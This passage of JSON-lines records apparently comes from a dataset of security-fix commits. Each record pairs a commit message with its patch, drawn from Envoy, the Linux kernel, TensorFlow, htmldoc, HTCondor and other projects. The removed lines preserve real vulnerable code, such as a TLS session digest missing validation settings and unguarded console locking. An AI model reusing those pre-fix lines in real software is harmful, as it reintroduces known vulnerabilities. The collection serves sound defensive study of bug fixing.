"@@ -33,7 +33,8 @@ class TestCertificateValidationContextConfig\n public:\n TestCertificateValidationContextConfig(\n envoy::config::core::v3::TypedExtensionConfig config, bool allow_expired_certificate = false,\n- std::vector san_matchers = {})\n+ std::vector\n+ san_matchers = {})\n : allow_expired_certificate_(allow_expired_certificate), api_(Api::createApiForTest()),\n custom_validator_config_(config), san_matchers_(san_matchers){};\n TestCertificateValidationContextConfig()\n@@ -47,7 +48,7 @@ class TestCertificateValidationContextConfig\n const std::string& certificateRevocationListPath() const final {\n CONSTRUCT_ON_FIRST_USE(std::string, \"\");\n }\n- const std::vector&\n+ const std::vector&\n subjectAltNameMatchers() const override {\n return san_matchers_;\n }\n@@ -78,7 +79,8 @@ class TestCertificateValidationContextConfig\n bool allow_expired_certificate_{false};\n Api::ApiPtr api_;\n const absl::optional custom_validator_config_;\n- const std::vector san_matchers_{};\n+ const std::vector\n+ san_matchers_{};\n };\n \n } // namespace Tls", "sections": [{"section": "@@ -33,7 +33,8 @@ class TestCertificateValidationContextConfig\n public:\n TestCertificateValidationContextConfig(\n envoy::config::core::v3::TypedExtensionConfig config, bool allow_expired_certificate = false,\n- std::vector san_matchers = {})\n+ std::vector\n+ san_matchers = {})\n : allow_expired_certificate_(allow_expired_certificate), api_(Api::createApiForTest()),\n custom_validator_config_(config), san_matchers_(san_matchers){};\n TestCertificateValidationContextConfig()\n", "related": false}, {"section": "@@ -47,7 +48,7 @@ class TestCertificateValidationContextConfig\n const std::string& certificateRevocationListPath() const final {\n CONSTRUCT_ON_FIRST_USE(std::string, \"\");\n }\n- const std::vector&\n+ const std::vector&\n subjectAltNameMatchers() const override {\n return san_matchers_;\n }\n", "related": false}, {"section": "@@ -78,7 +79,8 @@ class TestCertificateValidationContextConfig\n bool allow_expired_certificate_{false};\n Api::ApiPtr api_;\n const absl::optional custom_validator_config_;\n- const std::vector san_matchers_{};\n+ const std::vector\n+ san_matchers_{};\n };\n \n } // namespace Tls", "related": false}]} +{"owner": "envoyproxy", "repo": "envoy", "language": "C", "file_name": "source/extensions/transport_sockets/tls/cert_validator/default_validator.cc", "commit_id": "e9f936d85dc1edc34fabd0a1725ec180f2316353", "commit_message": "CVE-2022-21654\n\ntls allows re-use when some cert validation settings have changed\n\nSigned-off-by: Yan Avlasov ", "patch": "@@ -378,6 +378,35 @@ void DefaultCertValidator::updateDigestForSessionId(bssl::ScopedEVP_MD_CTX& md,\n sizeof(std::remove_reference::type::value_type));\n RELEASE_ASSERT(rc == 1, Utility::getLastCryptoError().value_or(\"\"));\n }\n+\n+ rc = EVP_DigestUpdate(md.get(), &verify_trusted_ca_, sizeof(verify_trusted_ca_));\n+ RELEASE_ASSERT(rc == 1, Utility::getLastCryptoError().value_or(\"\"));\n+\n+ if (config_ != nullptr) {\n+ for (const auto& matcher : config_->subjectAltNameMatchers()) {\n+ size_t hash = MessageUtil::hash(matcher);\n+ rc = EVP_DigestUpdate(md.get(), &hash, sizeof(hash));\n+ RELEASE_ASSERT(rc == 1, Utility::getLastCryptoError().value_or(\"\"));\n+ }\n+\n+ const std::string& crl = config_->certificateRevocationList();\n+ if (!crl.empty()) {\n+ rc = EVP_DigestUpdate(md.get(), crl.data(), crl.length());\n+ RELEASE_ASSERT(rc == 1, Utility::getLastCryptoError().value_or(\"\"));\n+ }\n+\n+ bool allow_expired = config_->allowExpiredCertificate();\n+ rc = EVP_DigestUpdate(md.get(), &allow_expired, sizeof(allow_expired));\n+ RELEASE_ASSERT(rc == 1, Utility::getLastCryptoError().value_or(\"\"));\n+\n+ auto trust_chain_verification = config_->trustChainVerification();\n+ rc = EVP_DigestUpdate(md.get(), &trust_chain_verification, sizeof(trust_chain_verification));\n+ RELEASE_ASSERT(rc == 1, Utility::getLastCryptoError().value_or(\"\"));\n+\n+ auto only_leaf_crl = config_->onlyVerifyLeafCertificateCrl();\n+ rc = EVP_DigestUpdate(md.get(), &only_leaf_crl, sizeof(only_leaf_crl));\n+ RELEASE_ASSERT(rc == 1, Utility::getLastCryptoError().value_or(\"\"));\n+ }\n }\n \n void DefaultCertValidator::addClientValidationContext(SSL_CTX* ctx, bool require_client_cert) {", "sections": [{"section": "@@ -378,6 +378,35 @@ void DefaultCertValidator::updateDigestForSessionId(bssl::ScopedEVP_MD_CTX& md,\n sizeof(std::remove_reference::type::value_type));\n RELEASE_ASSERT(rc == 1, Utility::getLastCryptoError().value_or(\"\"));\n }\n+\n+ rc = EVP_DigestUpdate(md.get(), &verify_trusted_ca_, sizeof(verify_trusted_ca_));\n+ RELEASE_ASSERT(rc == 1, Utility::getLastCryptoError().value_or(\"\"));\n+\n+ if (config_ != nullptr) {\n+ for (const auto& matcher : config_->subjectAltNameMatchers()) {\n+ size_t hash = MessageUtil::hash(matcher);\n+ rc = EVP_DigestUpdate(md.get(), &hash, sizeof(hash));\n+ RELEASE_ASSERT(rc == 1, Utility::getLastCryptoError().value_or(\"\"));\n+ }\n+\n+ const std::string& crl = config_->certificateRevocationList();\n+ if (!crl.empty()) {\n+ rc = EVP_DigestUpdate(md.get(), crl.data(), crl.length());\n+ RELEASE_ASSERT(rc == 1, Utility::getLastCryptoError().value_or(\"\"));\n+ }\n+\n+ bool allow_expired = config_->allowExpiredCertificate();\n+ rc = EVP_DigestUpdate(md.get(), &allow_expired, sizeof(allow_expired));\n+ RELEASE_ASSERT(rc == 1, Utility::getLastCryptoError().value_or(\"\"));\n+\n+ auto trust_chain_verification = config_->trustChainVerification();\n+ rc = EVP_DigestUpdate(md.get(), &trust_chain_verification, sizeof(trust_chain_verification));\n+ RELEASE_ASSERT(rc == 1, Utility::getLastCryptoError().value_or(\"\"));\n+\n+ auto only_leaf_crl = config_->onlyVerifyLeafCertificateCrl();\n+ rc = EVP_DigestUpdate(md.get(), &only_leaf_crl, sizeof(only_leaf_crl));\n+ RELEASE_ASSERT(rc == 1, Utility::getLastCryptoError().value_or(\"\"));\n+ }\n }\n \n void DefaultCertValidator::addClientValidationContext(SSL_CTX* ctx, bool require_client_cert) {", "related": false}]} +{"owner": "sprinfall", "repo": "webcc", "language": "C", "file_name": "webcc/router.cc", "commit_id": "55a45fd5039061d5cc62e9f1b9d1f7e97a15143f", "commit_message": "fix static file serving security issue; fix url path encoding issue", "patch": "@@ -67,7 +67,7 @@ ViewPtr Router::FindView(const std::string& method, const std::string& url,\n return ViewPtr();\n }\n \n-bool Router::MatchView(const std::string& method, const std::string& url,\n+bool Router::MatchView(const std::string& method, const std::string& url_path,\n bool* stream) {\n assert(stream != nullptr);\n *stream = false;\n@@ -80,13 +80,12 @@ bool Router::MatchView(const std::string& method, const std::string& url,\n \n if (route.url.empty()) {\n std::smatch match;\n-\n- if (std::regex_match(url, match, route.url_regex)) {\n+ if (std::regex_match(url_path, match, route.url_regex)) {\n *stream = route.view->Stream(method);\n return true;\n }\n } else {\n- if (boost::iequals(route.url, url)) {\n+ if (boost::iequals(route.url, url_path)) {\n *stream = route.view->Stream(method);\n return true;\n }", "sections": [{"section": "@@ -67,7 +67,7 @@ ViewPtr Router::FindView(const std::string& method, const std::string& url,\n return ViewPtr();\n }\n \n-bool Router::MatchView(const std::string& method, const std::string& url,\n+bool Router::MatchView(const std::string& method, const std::string& url_path,\n bool* stream) {\n assert(stream != nullptr);\n *stream = false;\n", "related": false}, {"section": "@@ -80,13 +80,12 @@ bool Router::MatchView(const std::string& method, const std::string& url,\n \n if (route.url.empty()) {\n std::smatch match;\n-\n- if (std::regex_match(url, match, route.url_regex)) {\n+ if (std::regex_match(url_path, match, route.url_regex)) {\n *stream = route.view->Stream(method);\n return true;\n }\n } else {\n- if (boost::iequals(route.url, url)) {\n+ if (boost::iequals(route.url, url_path)) {\n *stream = route.view->Stream(method);\n return true;\n }", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "drivers/tty/vt/vt_ioctl.c", "commit_id": "2287a51ba822384834dafc1c798453375d1107c7", "commit_message": "vt_kdsetmode: extend console locking\n\nAs per the long-suffering comment.\n\nReported-by: Minh Yuan \nCc: Greg Kroah-Hartman \nCc: Jiri Slaby \nSigned-off-by: Linus Torvalds ", "patch": "@@ -246,6 +246,8 @@ int vt_waitactive(int n)\n *\n * XXX It should at least call into the driver, fbdev's definitely need to\n * restore their engine state. --BenH\n+ *\n+ * Called with the console lock held.\n */\n static int vt_kdsetmode(struct vc_data *vc, unsigned long mode)\n {\n@@ -262,7 +264,6 @@ static int vt_kdsetmode(struct vc_data *vc, unsigned long mode)\n \t\treturn -EINVAL;\n \t}\n \n-\t/* FIXME: this needs the console lock extending */\n \tif (vc->vc_mode == mode)\n \t\treturn 0;\n \n@@ -271,12 +272,10 @@ static int vt_kdsetmode(struct vc_data *vc, unsigned long mode)\n \t\treturn 0;\n \n \t/* explicitly blank/unblank the screen if switching modes */\n-\tconsole_lock();\n \tif (mode == KD_TEXT)\n \t\tdo_unblank_screen(1);\n \telse\n \t\tdo_blank_screen(1);\n-\tconsole_unlock();\n \n \treturn 0;\n }\n@@ -378,7 +377,10 @@ static int vt_k_ioctl(struct tty_struct *tty, unsigned int cmd,\n \t\tif (!perm)\n \t\t\treturn -EPERM;\n \n-\t\treturn vt_kdsetmode(vc, arg);\n+\t\tconsole_lock();\n+\t\tret = vt_kdsetmode(vc, arg);\n+\t\tconsole_unlock();\n+\t\treturn ret;\n \n \tcase KDGETMODE:\n \t\treturn put_user(vc->vc_mode, (int __user *)arg);", "sections": [{"section": "@@ -246,6 +246,8 @@ int vt_waitactive(int n)\n *\n * XXX It should at least call into the driver, fbdev's definitely need to\n * restore their engine state. --BenH\n+ *\n+ * Called with the console lock held.\n */\n static int vt_kdsetmode(struct vc_data *vc, unsigned long mode)\n {\n", "related": false}, {"section": "@@ -262,7 +264,6 @@ static int vt_kdsetmode(struct vc_data *vc, unsigned long mode)\n \t\treturn -EINVAL;\n \t}\n \n-\t/* FIXME: this needs the console lock extending */\n \tif (vc->vc_mode == mode)\n \t\treturn 0;\n \n", "related": false}, {"section": "@@ -271,12 +272,10 @@ static int vt_kdsetmode(struct vc_data *vc, unsigned long mode)\n \t\treturn 0;\n \n \t/* explicitly blank/unblank the screen if switching modes */\n-\tconsole_lock();\n \tif (mode == KD_TEXT)\n \t\tdo_unblank_screen(1);\n \telse\n \t\tdo_blank_screen(1);\n-\tconsole_unlock();\n \n \treturn 0;\n }\n", "related": false}, {"section": "@@ -378,7 +377,10 @@ static int vt_k_ioctl(struct tty_struct *tty, unsigned int cmd,\n \t\tif (!perm)\n \t\t\treturn -EPERM;\n \n-\t\treturn vt_kdsetmode(vc, arg);\n+\t\tconsole_lock();\n+\t\tret = vt_kdsetmode(vc, arg);\n+\t\tconsole_unlock();\n+\t\treturn ret;\n \n \tcase KDGETMODE:\n \t\treturn put_user(vc->vc_mode, (int __user *)arg);", "related": false}]} +{"owner": "ruven", "repo": "iipsrv", "language": "C", "file_name": "src/RawTile.h", "commit_id": "882925b295a80ec992063deffc2a3b0d803c3195", "commit_message": "- Modified TileManager.cc to verify that malloc() has correctly allocated memory.\n- Updated numerical types to std::size_t in RawTile.h, TileManager.cc, KakaduImage.cc, OpenJPEG.cc and Transforms.cc when allocating memory via new to avoid integer overflow - fixes remaining problems identified in https://github.com/ruven/iipsrv/issues/223.", "patch": "@@ -79,7 +79,7 @@ class RawTile{\n int memoryManaged;\n \n /// The size of the data pointed to by data\n- unsigned int dataLength;\n+ size_t dataLength;\n \n /// The width in pixels of this tile\n unsigned int width;", "sections": [{"section": "@@ -79,7 +79,7 @@ class RawTile{\n int memoryManaged;\n \n /// The size of the data pointed to by data\n- unsigned int dataLength;\n+ size_t dataLength;\n \n /// The width in pixels of this tile\n unsigned int width;", "related": false}]} +{"owner": "tensorflow", "repo": "tensorflow", "language": "C", "file_name": "tensorflow/core/kernels/image/decode_image_op.cc", "commit_id": "ab51e5b813573dc9f51efa335aebcf2994125ee9", "commit_message": "Prevent memory leak in decoding PNG images.\n\nPiperOrigin-RevId: 409300653\nChange-Id: I6182124c545989cef80cefd439b659095920763b", "patch": "@@ -18,6 +18,8 @@ limitations under the License.\n #include \n #include \n \n+#include \"tensorflow/core/lib/gtl/cleanup.h\"\n+\n #define EIGEN_USE_THREADS\n \n #include \"absl/strings/escaping.h\"\n@@ -326,6 +328,16 @@ class DecodeImageV2Op : public OpKernel {\n context, png::CommonInitDecode(input, channels_, channel_bits, &decode),\n errors::InvalidArgument(\"Invalid PNG. Failed to initialize decoder.\"));\n \n+ // If we reach this point, then there is data in `decode` which must be\n+ // freed by the time we end execution in this function. We cannot call\n+ // `png::CommonFreeDecode()` before an `OP_REQUIRES` because if\n+ // `OP_REQUIRES` constraint is satisfied then the data would be freed\n+ // prematurely. Instead, let's use a `Cleanup` object.\n+ auto cleanup = gtl::MakeCleanup([&decode]() {\n+ std::cerr << \"Cleanup called...\\n\";\n+ png::CommonFreeDecode(&decode);\n+ });\n+\n // Verify that width and height are not too large:\n // - verify width and height don't overflow int.\n // - width can later be multiplied by channels_ and sizeof(uint16), so", "sections": [{"section": "@@ -18,6 +18,8 @@ limitations under the License.\n #include \n #include \n \n+#include \"tensorflow/core/lib/gtl/cleanup.h\"\n+\n #define EIGEN_USE_THREADS\n \n #include \"absl/strings/escaping.h\"\n", "related": false}, {"section": "@@ -326,6 +328,16 @@ class DecodeImageV2Op : public OpKernel {\n context, png::CommonInitDecode(input, channels_, channel_bits, &decode),\n errors::InvalidArgument(\"Invalid PNG. Failed to initialize decoder.\"));\n \n+ // If we reach this point, then there is data in `decode` which must be\n+ // freed by the time we end execution in this function. We cannot call\n+ // `png::CommonFreeDecode()` before an `OP_REQUIRES` because if\n+ // `OP_REQUIRES` constraint is satisfied then the data would be freed\n+ // prematurely. Instead, let's use a `Cleanup` object.\n+ auto cleanup = gtl::MakeCleanup([&decode]() {\n+ std::cerr << \"Cleanup called...\\n\";\n+ png::CommonFreeDecode(&decode);\n+ });\n+\n // Verify that width and height are not too large:\n // - verify width and height don't overflow int.\n // - width can later be multiplied by channels_ and sizeof(uint16), so", "related": false}]} +{"owner": "tensorflow", "repo": "tensorflow", "language": "C", "file_name": "tensorflow/cc/saved_model/loader_util.cc", "commit_id": "4f38b1ac8e42727e18a2f0bde06d3bee8e77b250", "commit_message": "Prevent null dereference read in `GetInitOp`.\n\nWe have a map of maps. We test that the key exists in the first map but then we don't have any validation that this also means the second map has the needed key. In the scenarios where this is not the case, we'll dereference a nullptr, if we don't have this check\n\nPiperOrigin-RevId: 408739325\nChange-Id: If9bb7ed759aba1f3b56a34913f209508dbaf65ce", "patch": "@@ -34,9 +34,14 @@ Status GetInitOp(const string& export_dir, const MetaGraphDef& meta_graph_def,\n const auto& init_op_sig_it =\n meta_graph_def.signature_def().find(kSavedModelInitOpSignatureKey);\n if (init_op_sig_it != sig_def_map.end()) {\n- *init_op_name = init_op_sig_it->second.outputs()\n- .find(kSavedModelInitOpSignatureKey)\n- ->second.name();\n+ const auto& sig_def_outputs = init_op_sig_it->second.outputs();\n+ const auto& sig_def_outputs_it =\n+ sig_def_outputs.find(kSavedModelInitOpSignatureKey);\n+ if (sig_def_outputs_it == sig_def_outputs.end()) {\n+ return errors::FailedPrecondition(\"Could not find output \",\n+ kSavedModelInitOpSignatureKey);\n+ }\n+ *init_op_name = sig_def_outputs_it->second.name();\n return Status::OK();\n }\n ", "sections": [{"section": "@@ -34,9 +34,14 @@ Status GetInitOp(const string& export_dir, const MetaGraphDef& meta_graph_def,\n const auto& init_op_sig_it =\n meta_graph_def.signature_def().find(kSavedModelInitOpSignatureKey);\n if (init_op_sig_it != sig_def_map.end()) {\n- *init_op_name = init_op_sig_it->second.outputs()\n- .find(kSavedModelInitOpSignatureKey)\n- ->second.name();\n+ const auto& sig_def_outputs = init_op_sig_it->second.outputs();\n+ const auto& sig_def_outputs_it =\n+ sig_def_outputs.find(kSavedModelInitOpSignatureKey);\n+ if (sig_def_outputs_it == sig_def_outputs.end()) {\n+ return errors::FailedPrecondition(\"Could not find output \",\n+ kSavedModelInitOpSignatureKey);\n+ }\n+ *init_op_name = sig_def_outputs_it->second.name();\n return Status::OK();\n }\n ", "related": false}]} +{"owner": "tensorflow", "repo": "tensorflow", "language": "C", "file_name": "tensorflow/core/framework/resource_handle.cc", "commit_id": "14fea662350e7c26eb5fe1be2ac31704e5682ee6", "commit_message": "Prevent `CHECK`-fail when decoding resource handles from proto\n\nIn certain scenarios, the proto might contain tensors that have too many elements (overflow). This is a `CHECK`-fail in general, but we should prevent this, given how many CVEs caused by that we have received this year (a large fraction of 200).\n\nPiperOrigin-RevId: 408049766\nChange-Id: I2ac20b247aa8ed9110846fbdb7a0a9401f2c168c", "patch": "@@ -17,8 +17,11 @@ limitations under the License.\n \n #include \"absl/strings/str_format.h\"\n #include \"tensorflow/core/framework/resource_handle.pb.h\"\n+#include \"tensorflow/core/framework/tensor_shape.h\"\n #include \"tensorflow/core/lib/core/errors.h\"\n #include \"tensorflow/core/lib/strings/strcat.h\"\n+#include \"tensorflow/core/platform/errors.h\"\n+#include \"tensorflow/core/platform/macros.h\"\n \n namespace tensorflow {\n \n@@ -28,7 +31,15 @@ namespace tensorflow {\n ResourceHandle::ResourceHandle() {}\n \n ResourceHandle::ResourceHandle(const ResourceHandleProto& proto) {\n- FromProto(proto);\n+ TF_CHECK_OK(FromProto(proto));\n+}\n+\n+Status ResourceHandle::BuildResourceHandle(const ResourceHandleProto& proto,\n+ ResourceHandle* out) {\n+ if (out == nullptr)\n+ return errors::Internal(\n+ \"BuildResourceHandle() was called with nullptr for the output\");\n+ return out->FromProto(proto);\n }\n \n ResourceHandle::~ResourceHandle() {}\n@@ -46,7 +57,7 @@ void ResourceHandle::AsProto(ResourceHandleProto* proto) const {\n }\n }\n \n-void ResourceHandle::FromProto(const ResourceHandleProto& proto) {\n+Status ResourceHandle::FromProto(const ResourceHandleProto& proto) {\n set_device(proto.device());\n set_container(proto.container());\n set_name(proto.name());\n@@ -55,10 +66,16 @@ void ResourceHandle::FromProto(const ResourceHandleProto& proto) {\n std::vector dtypes_and_shapes;\n for (const auto& dtype_and_shape : proto.dtypes_and_shapes()) {\n DataType dtype = dtype_and_shape.dtype();\n- PartialTensorShape shape(dtype_and_shape.shape());\n+ PartialTensorShape shape;\n+ Status s = PartialTensorShape::BuildPartialTensorShape(\n+ dtype_and_shape.shape(), &shape);\n+ if (!s.ok()) {\n+ return s;\n+ }\n dtypes_and_shapes.push_back(DtypeAndPartialTensorShape{dtype, shape});\n }\n dtypes_and_shapes_ = std::move(dtypes_and_shapes);\n+ return Status::OK();\n }\n \n string ResourceHandle::SerializeAsString() const {\n@@ -69,9 +86,7 @@ string ResourceHandle::SerializeAsString() const {\n \n bool ResourceHandle::ParseFromString(const string& s) {\n ResourceHandleProto proto;\n- const bool status = proto.ParseFromString(s);\n- if (status) FromProto(proto);\n- return status;\n+ return proto.ParseFromString(s) && FromProto(proto).ok();\n }\n \n string ResourceHandle::DebugString() const {\n@@ -140,7 +155,9 @@ bool DecodeResourceHandleList(std::unique_ptr d,\n if (!proto.ParseFromArray(d->Data(sizes[i]), sizes[i])) {\n return false;\n }\n- ps[i].FromProto(proto);\n+ if (!ps[i].FromProto(proto).ok()) {\n+ return false;\n+ }\n }\n return true;\n }", "sections": [{"section": "@@ -17,8 +17,11 @@ limitations under the License.\n \n #include \"absl/strings/str_format.h\"\n #include \"tensorflow/core/framework/resource_handle.pb.h\"\n+#include \"tensorflow/core/framework/tensor_shape.h\"\n #include \"tensorflow/core/lib/core/errors.h\"\n #include \"tensorflow/core/lib/strings/strcat.h\"\n+#include \"tensorflow/core/platform/errors.h\"\n+#include \"tensorflow/core/platform/macros.h\"\n \n namespace tensorflow {\n \n", "related": false}, {"section": "@@ -28,7 +31,15 @@ namespace tensorflow {\n ResourceHandle::ResourceHandle() {}\n \n ResourceHandle::ResourceHandle(const ResourceHandleProto& proto) {\n- FromProto(proto);\n+ TF_CHECK_OK(FromProto(proto));\n+}\n+\n+Status ResourceHandle::BuildResourceHandle(const ResourceHandleProto& proto,\n+ ResourceHandle* out) {\n+ if (out == nullptr)\n+ return errors::Internal(\n+ \"BuildResourceHandle() was called with nullptr for the output\");\n+ return out->FromProto(proto);\n }\n \n ResourceHandle::~ResourceHandle() {}\n", "related": false}, {"section": "@@ -46,7 +57,7 @@ void ResourceHandle::AsProto(ResourceHandleProto* proto) const {\n }\n }\n \n-void ResourceHandle::FromProto(const ResourceHandleProto& proto) {\n+Status ResourceHandle::FromProto(const ResourceHandleProto& proto) {\n set_device(proto.device());\n set_container(proto.container());\n set_name(proto.name());\n", "related": false}, {"section": "@@ -55,10 +66,16 @@ void ResourceHandle::FromProto(const ResourceHandleProto& proto) {\n std::vector dtypes_and_shapes;\n for (const auto& dtype_and_shape : proto.dtypes_and_shapes()) {\n DataType dtype = dtype_and_shape.dtype();\n- PartialTensorShape shape(dtype_and_shape.shape());\n+ PartialTensorShape shape;\n+ Status s = PartialTensorShape::BuildPartialTensorShape(\n+ dtype_and_shape.shape(), &shape);\n+ if (!s.ok()) {\n+ return s;\n+ }\n dtypes_and_shapes.push_back(DtypeAndPartialTensorShape{dtype, shape});\n }\n dtypes_and_shapes_ = std::move(dtypes_and_shapes);\n+ return Status::OK();\n }\n \n string ResourceHandle::SerializeAsString() const {\n", "related": false}, {"section": "@@ -69,9 +86,7 @@ string ResourceHandle::SerializeAsString() const {\n \n bool ResourceHandle::ParseFromString(const string& s) {\n ResourceHandleProto proto;\n- const bool status = proto.ParseFromString(s);\n- if (status) FromProto(proto);\n- return status;\n+ return proto.ParseFromString(s) && FromProto(proto).ok();\n }\n \n string ResourceHandle::DebugString() const {\n", "related": false}, {"section": "@@ -140,7 +155,9 @@ bool DecodeResourceHandleList(std::unique_ptr d,\n if (!proto.ParseFromArray(d->Data(sizes[i]), sizes[i])) {\n return false;\n }\n- ps[i].FromProto(proto);\n+ if (!ps[i].FromProto(proto).ok()) {\n+ return false;\n+ }\n }\n return true;\n }", "related": false}]} +{"owner": "tensorflow", "repo": "tensorflow", "language": "C", "file_name": "tensorflow/lite/core/subgraph.cc", "commit_id": "f19be71717c497723ba0cea0379e84f061a75e01", "commit_message": "[lite] Move MultiplyAndCheckOverflow to util to be able to share it.\n\nPiperOrigin-RevId: 416897229\nChange-Id: I5feb44881bdcbb6ed911da4f17c55bb978754059", "patch": "@@ -690,27 +690,6 @@ TfLiteStatus Subgraph::CheckInputAndOutputForOverlap(const int* input_indices,\n return kTfLiteOk;\n }\n \n-namespace {\n-// Multiply two sizes and return true if overflow occurred;\n-// This is based off tensorflow/overflow.h but is simpler as we already\n-// have unsigned numbers. It is also generalized to work where sizeof(size_t)\n-// is not 8.\n-TfLiteStatus MultiplyAndCheckOverflow(size_t a, size_t b, size_t* product) {\n- // Multiplying a * b where a and b are size_t cannot result in overflow in a\n- // size_t accumulator if both numbers have no non-zero bits in their upper\n- // half.\n- constexpr size_t size_t_bits = 8 * sizeof(size_t);\n- constexpr size_t overflow_upper_half_bit_position = size_t_bits / 2;\n- *product = a * b;\n- // If neither integers have non-zero bits past 32 bits can't overflow.\n- // Otherwise check using slow devision.\n- if (TFLITE_EXPECT_FALSE((a | b) >> overflow_upper_half_bit_position != 0)) {\n- if (a != 0 && *product / a != b) return kTfLiteError;\n- }\n- return kTfLiteOk;\n-}\n-} // namespace\n-\n TfLiteStatus Subgraph::BytesRequired(TfLiteType type, const int* dims,\n size_t dims_size, size_t* bytes) {\n TF_LITE_ENSURE(&context_, bytes != nullptr);", "sections": [{"section": "@@ -690,27 +690,6 @@ TfLiteStatus Subgraph::CheckInputAndOutputForOverlap(const int* input_indices,\n return kTfLiteOk;\n }\n \n-namespace {\n-// Multiply two sizes and return true if overflow occurred;\n-// This is based off tensorflow/overflow.h but is simpler as we already\n-// have unsigned numbers. It is also generalized to work where sizeof(size_t)\n-// is not 8.\n-TfLiteStatus MultiplyAndCheckOverflow(size_t a, size_t b, size_t* product) {\n- // Multiplying a * b where a and b are size_t cannot result in overflow in a\n- // size_t accumulator if both numbers have no non-zero bits in their upper\n- // half.\n- constexpr size_t size_t_bits = 8 * sizeof(size_t);\n- constexpr size_t overflow_upper_half_bit_position = size_t_bits / 2;\n- *product = a * b;\n- // If neither integers have non-zero bits past 32 bits can't overflow.\n- // Otherwise check using slow devision.\n- if (TFLITE_EXPECT_FALSE((a | b) >> overflow_upper_half_bit_position != 0)) {\n- if (a != 0 && *product / a != b) return kTfLiteError;\n- }\n- return kTfLiteOk;\n-}\n-} // namespace\n-\n TfLiteStatus Subgraph::BytesRequired(TfLiteType type, const int* dims,\n size_t dims_size, size_t* bytes) {\n TF_LITE_ENSURE(&context_, bytes != nullptr);", "related": false}]} +{"owner": "michaelrsweet", "repo": "htmldoc", "language": "C++", "file_name": "htmldoc/ps-pdf.cxx", "commit_id": "6e8a95561988500b5b5ae4861b3b0cbf4fba517f", "commit_message": "Fix a number-up crash bug (Issue #413)", "patch": "@@ -1318,7 +1318,7 @@ pspdf_prepare_outpages()\n chapter_outstarts[c] = num_outpages;\n \n for (i = chapter_starts[c], j = 0, nup = -1, page = pages + i;\n- i <= chapter_ends[c];\n+ i <= chapter_ends[c] && num_outpages < num_pages;\n \t i ++, page ++)\n {\n if (nup != page->nup)", "sections": [{"section": "@@ -1318,7 +1318,7 @@ pspdf_prepare_outpages()\n chapter_outstarts[c] = num_outpages;\n \n for (i = chapter_starts[c], j = 0, nup = -1, page = pages + i;\n- i <= chapter_ends[c];\n+ i <= chapter_ends[c] && num_outpages < num_pages;\n \t i ++, page ++)\n {\n if (nup != page->nup)", "related": false}]} +{"owner": "michaelrsweet", "repo": "htmldoc", "language": "C++", "file_name": "htmldoc/ps-pdf.cxx", "commit_id": "369b2ea1fd0d0537ba707f20a2f047b6afd2fbdc", "commit_message": "Fix JPEG error handling (Issue #415)", "patch": "@@ -1404,6 +1404,8 @@ pspdf_prepare_page(int page)\t\t/* I - Page number */\n \n \n DEBUG_printf((\"pspdf_prepare_page(%d)\\n\", page));\n+ if (page < 0 || page >= num_pages)\n+ return;\n \n /*\n * Make a page number; use roman numerals for the table of contents\n@@ -12285,6 +12287,9 @@ write_trailer(FILE *out,\t\t/* I - Output file */\n \n for (j = 1; j <= TocDocCount; j ++)\n {\n+ if (chapter_starts[j] < 0)\n+ continue;\n+\n page = pages + chapter_starts[j];\n \tstart = chapter_starts[j] - chapter_starts[1] + 1;\n \ttype = 'D';", "sections": [{"section": "@@ -1404,6 +1404,8 @@ pspdf_prepare_page(int page)\t\t/* I - Page number */\n \n \n DEBUG_printf((\"pspdf_prepare_page(%d)\\n\", page));\n+ if (page < 0 || page >= num_pages)\n+ return;\n \n /*\n * Make a page number; use roman numerals for the table of contents\n", "related": false}, {"section": "@@ -12285,6 +12287,9 @@ write_trailer(FILE *out,\t\t/* I - Output file */\n \n for (j = 1; j <= TocDocCount; j ++)\n {\n+ if (chapter_starts[j] < 0)\n+ continue;\n+\n page = pages + chapter_starts[j];\n \tstart = chapter_starts[j] - chapter_starts[1] + 1;\n \ttype = 'D';", "related": false}]} +{"owner": "htcondor", "repo": "htcondor", "language": "C++", "file_name": "src/condor_daemon_core.V6/daemon_command.cpp", "commit_id": "1cae7601d796725e7f5dd73fedf37f6fbbe379ca", "commit_message": "HTCONDOR-985: back-port check of LimitAuthorization in DaemonCommandProtocol", "patch": "@@ -1355,11 +1355,41 @@ DaemonCommandProtocol::CommandProtocolResult DaemonCommandProtocol::VerifyComman\n \t\t\tm_perm = USER_AUTH_FAILURE;\n \t\t}\n \t\telse {\n-\t\t\tm_perm = daemonCore->Verify(\n-\t\t\t\t\t\t command_desc.c_str(),\n-\t\t\t\t\t\t m_comTable[m_cmd_index].perm,\n-\t\t\t\t\t\t m_sock->peer_addr(),\n-\t\t\t\t\t\t m_user.c_str() );\n+\t\t\t\t// Authentication methods can limit the authorizations associated with\n+\t\t\t\t// a given identity (at time of coding, only TOKEN does this); apply\n+\t\t\t\t// these limits if present.\n+\t\t\tstd::string authz_policy;\n+\t\t\tbool can_attempt = true;\n+\t\t\tif (m_policy && m_policy->EvaluateAttrString(ATTR_SEC_LIMIT_AUTHORIZATION, authz_policy)) {\n+\t\t\t\tStringList authz_limits(authz_policy.c_str());\n+\t\t\t\tauthz_limits.rewind();\n+\t\t\t\tconst char *perm_cstr = PermString(m_comTable[m_cmd_index].perm);\n+\t\t\t\tconst char *authz_name;\n+\t\t\t\tbool found_limit = false;\n+\t\t\t\twhile ( (authz_name = authz_limits.next()) ) {\n+\t\t\t\t\tif (!strcmp(perm_cstr, authz_name)) {\n+\t\t\t\t\t\tfound_limit = true;\n+\t\t\t\t\t\tbreak;\n+\t\t\t\t\t}\n+\t\t\t\t}\n+\t\t\t\tbool has_allow_perm = !strcmp(perm_cstr, \"ALLOW\");\n+\t\t\t\tif (!found_limit && !has_allow_perm) {\n+\t\t\t\t\tcan_attempt = false;\n+\t\t\t\t}\n+\t\t\t}\n+\t\t\tif (can_attempt) {\n+\t\t\t\tm_perm = daemonCore->Verify(\n+\t\t\t\t\tcommand_desc.c_str(),\n+\t\t\t\t\tm_comTable[m_cmd_index].perm,\n+\t\t\t\t\tm_sock->peer_addr(),\n+\t\t\t\t\tm_user.c_str() );\n+\t\t\t} else {\n+\t\t\t\tdprintf(D_ALWAYS, \"DC_AUTHENTICATE: authentication of %s was successful but resulted in a limited authorization which did not include this command (%d %s), so aborting.\\n\",\n+\t\t\t\t\tm_sock->peer_description(),\n+\t\t\t\t\tm_req,\n+\t\t\t\t\tm_comTable[m_cmd_index].command_descrip);\n+\t\t\t\tm_perm = USER_AUTH_FAILURE;\n+\t\t\t}\n \t\t}\n \n \t} else {", "sections": [{"section": "@@ -1355,11 +1355,41 @@ 